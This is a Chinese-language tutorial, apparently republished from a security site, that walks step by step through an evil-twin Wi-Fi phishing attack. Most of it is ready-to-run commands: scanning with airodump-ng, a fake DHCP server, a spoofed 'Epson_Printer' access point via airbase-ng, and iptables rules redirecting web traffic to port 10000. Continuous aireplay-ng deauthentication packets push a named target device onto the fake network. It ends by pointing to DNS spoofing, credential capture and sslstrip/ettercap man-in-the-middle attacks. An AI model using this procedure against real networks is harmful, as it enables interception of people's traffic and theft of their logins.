技術分享：WIFI釣魚的入門姿勢

標籤：

簡介

該實驗先是搭建一個測試環境，然後建立一個假的無線存取點，把網路連接串連到假的存取點並且強迫使用者串連假的無線點。

事先準備

1.無線網卡：無線網卡用於資料包的嗅探和注入。

2. Backtrack或者Kali Linux： 攻擊平台

3.無線網路：確保該無線由使用者使用，並且能控制這個無線存取點。

4.一個目標機器：這個機器可以是你的物理機或者虛擬機器。本次實驗中用到的是Windows 7 虛擬機器

開始實驗：建立一個流氓存取點第一步：

啟動虛擬機器，選擇kali linux 。點擊”編輯虛擬機器設定（Edit virtual machine settings）”，進入到“網路介面卡(Network Adapter)”選項，在網路連接中選擇“橋接(Bridged)”：

第二步：

開啟kali 用root賬戶登入。

第三步：

串連筆記本的無線網卡。確保在Removable Devices選項下的無線網卡選項前面有一個藍色的對鉤。如果沒有，需要選擇無線網卡來讓無線網卡從Windows系統中斷開，串連到kali linux虛擬機器，如所示：

 

第四步：

開啟終端，輸入如下命令檢查IP地址和網關。

在本例中，網關是192.168.0.1

第五步：

先是用以下命令列出所有網卡列表，如：

可以看到一個名字是wlan5的網卡，就是這個了。

 

第六步：

檢查下使用者附近的無線AP是否都可用，用如下命令，如下：

airodump-ng wlan5

這個命令後將會開始捕捉資料包，並且把使用者附近的訪問點列出來，其中BSSID是無線AP的MAC地址，Channel代表頻率。注意PWR列的值，越靠近的路由器這個值越小。

 

 

第七步：

記下AP點的BSSID 和Channel的值。此外，還要記下目標裝置的MAC地址。

在這個例子中，BISSID值是5E:F9:6A:29:28:18，Channel的值是2。目標機器的MAC地址是68:5D:43:7D:F7:E9

第八步：

我們必須建立一個假的DHCP伺服器來提供一個假的AP存取點。在kali中執行以下命令就可以建立一個DHCP：

apt-get install isc-dhcp-server

建立好後，修改DHCP設定檔，如下：

leafpad /etc/dhcpd.conf

authoraitative;default-lease-time 600;max-lease-time 7200;subnet 192.168.1.0 netmask 255.255.255.0 {option routers 192.168.1.1;option subnet-mask 255.255.255.0;option domain-name “Epson_Printer”;option domain-name-servers 192.168.1.1;range 192.168.1.2 192.168.1.40;}

儲存並關閉設定檔。

對/etc/dhcpd/dhcpd.conf檔案重複上述操作。

第九步：

開啟終端，執行以下命令，建立一個ESSID名和受害者訪問AP相似的AP存取點，例子中我們用“Epson_Printer”。

airbase-ng –e Epson_Printer -c 2 wlan5

l e 是AP存取點的ESSID（MAC地址）

l c是無線網路的頻率

l Wlan5是網卡名

現在，名叫“Epson_Printer”的新的AP存取點建立完成。

第十步：

現在，我們開啟一個新的終端，開始監控這個釣魚AP，執行如下命令：

airodump-ng –bssid 00:C0:CA:70:8F:25 -C 2 wlan 5 

第十一步：

檢查第五步的產生的視窗，建立的AP存取點應該是可以看見的：

第十二步：

現在，我們必須向網路提供這個假的無線AP。開啟終端，依次輸入如下命令：

·  ifconfig at0 192.168.1.1 netmask 255.255.255.0·  ifconfig at0 mtu 1400·  route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1·  iptables –flush·  iptables –table nat –flush·  iptables –delete-chain·  iptables –table nat –delete-chain·  echo 1 > /proc/sys/net/ipv4/ip_forward·  iptables -t nat -A PREROUTING -p udp -j DNAT –to 192.168.0.1(gateway)·  iptables -P FORWARD ACCEPT·  iptables –append FORWARD –in-interface at0 -j ACCEPT·  iptables –table nat –append POSTROUTING –out-interface eth0 -j MASQUERADE·  iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000·  dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0·  /etc/init.d/isc-dhcp-server start

 

 

第十三步：

我們可以等待別人串連這個假的無線AP，也可以用de-authenticate攻擊強行迫使我們的目標重新串連AP，這樣我們就能乘機抓包。

我們可以用以下命令來執行：

aireplay-ng –deauth 0 -a 5E:F9:6A:29:28:18 -c 68:5D:43:7D:F7:E9 wlan5

  5E:F9:6A:29:28:18 是無線AP的MAC地址

 0 代表進行de-authentication.

 -c 是目標機器的MAC地址

 wlan5 是網卡

以下中可以看到，無線網卡正在發送de-authentication資料包給目標無線AP。目標機器就和“Epson_Printer” 連接點斷開了，並且開始嘗試重新串連，如：

 

 第十四步：

由於連續發送deauth包，用戶端一直無法串連到原來的無線AP，於是就開始嘗試串連其他最強的無線AP，我們的假AP訊號很強，於是就開始連了。如：

 

第十五步：

查看airodump-ng命令視窗。可以在終端中查看到串連的裝置：

現在，受害者的裝置已經串連到我們的假的無線AP中了。從這裡開始，攻擊者可以施行各種手段，比如說DNS欺騙使用者串連一個假的網站，擷取到使用者認證資訊，或者用 sslstrip 和ettercap 進行中間人攻擊。

最後：這篇有點基礎，大家湊合看吧。輕噴(づ￣3￣)づ╭?～

 *參考來源：resources.infosecinstitute，FB小編東二門陳冠希編譯，轉載請註明來自FreeBuf駭客與極客（FreeBuf.COM）

技術分享：WIFI釣魚的入門姿勢